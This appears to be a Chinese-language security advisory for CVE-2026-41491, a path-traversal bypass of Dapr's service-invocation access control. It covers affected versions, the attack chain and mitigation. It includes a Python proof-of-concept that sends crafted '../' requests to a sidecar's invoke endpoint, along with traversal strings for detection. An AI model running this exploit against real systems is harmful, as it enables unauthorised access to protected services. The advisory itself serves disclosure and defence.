IPBUF安全漏洞报告
English
CVE-2026-41491 CVSS 8.1 高危

CVE-2026-41491 Dapr 访问控制策略绕过漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-41491
漏洞类型
访问控制绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Dapr

相关标签

访问控制绕过路径遍历DaprACL Bypass高危漏洞

漏洞概述

Dapr 是一个可移植、事件驱动的运行时,用于构建跨云和边缘的分布式应用程序。在 1.3.0 至 1.15.14、1.16.0-rc.1 至 1.16.14 以及 1.17.0-rc.1 至 1.17.5 之前的版本中存在安全漏洞。攻击者可利用保留的 URL 字符和路径遍历序列绕过服务调用的访问控制策略。由于 ACL 层对方法路径的规范化处理与分发层不一致,ACL 评估的路径与目标应用实际接收的路径存在差异,导致安全检查失效。目前官方已在 1.15.14、1.16.14 和 1.17.5 版本中修复了此问题。

技术细节

该漏洞的根源在于 Dapr 的访问控制列表(ACL)组件与服务调用分发组件在处理 HTTP 路径时采用了不同的规范化逻辑。ACL 组件在验证权限前会对请求路径进行解码和标准化,以判断调用者是否有权访问该资源。然而,底层的分发层在将请求转发给目标应用程序时,使用了不同的解析方式,或者保留了某些 ACL 层已去除的特定字符序列。攻击者可以利用这种差异,通过构造包含路径遍历字符(如 `../`)或特殊 URL 编码的恶意请求路径。例如,攻击者可能伪装请求指向 ACL 允许的公开路径(如 `/public/api`),但经过分发层解析后,实际访问的是受保护的敏感端点(如 `/admin/secret`)。这种逻辑缺陷使得低权限攻击者能够绕过权限验证,获取敏感数据或执行未授权操作。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标环境使用的是存在漏洞的 Dapr 版本,并枚举可用的服务调用接口。
STEP 2
2. 策略分析
攻击者分析 ACL 策略,确定哪些路径是公开允许访问的,以及哪些路径包含敏感信息但被限制访问。
STEP 3
3. 构造恶意载荷
攻击者利用 URL 保留字符和路径遍历序列(如 `../` 或编码后的路径),构造一个在 ACL 层看似指向公开路径,但在分发层解析后指向受限路径的请求。
STEP 4
4. 发起攻击
向 Dapr sidecar 发送特制的调用请求,成功绕过 ACL 检查,访问未经授权的服务方法或数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-41491: Dapr Access Control Bypass via Path Traversal # This script demonstrates a potential exploit using path normalization differences. import requests def exploit_poc(target_host, app_id, allowed_path, restricted_path): """ Attempts to bypass ACL by prepending an allowed path to a traversal sequence. """ # The payload tries to access 'restricted_path' by traversing back from 'allowed_path' # Example: /public/../../admin/sensitive_data payload = f"{allowed_path}/../{restricted_path}" url = f"http://{target_host}/v1.0/invoke/{app_id}/method/{payload}" headers = { "Content-Type": "application/json" } try: print(f"[*] Sending payload to: {url}") response = requests.get(url, headers=headers) if response.status_code == 200: print("[+] Potential Bypass Successful! Received 200 OK.") print(f"[+] Response Body: {response.text[:200]}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "dapr-sidecar-ip:3500" TARGET_APP_ID = "vulnerable-app" # Assume /health is allowed by ACL, and /admin/config is restricted ALLOWED_ENDPOINT = "health" RESTRICTED_ENDPOINT = "admin/config" exploit_poc(TARGET, TARGET_APP_ID, ALLOWED_ENDPOINT, RESTRICTED_ENDPOINT)

影响范围

Dapr 1.3.0 至 1.15.14 之前
Dapr 1.16.0-rc.1 至 1.16.14 之前
Dapr 1.17.0-rc.1 至 1.17.5 之前

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面严格限制对 Dapr sidecar HTTP 端口(默认 3500)的访问,仅允许可信的内部服务 IP 进行连接。同时,应监控应用日志,查找是否存在包含路径遍历字符(如 `..`、`%2e%2e`)的异常服务调用请求。

参考链接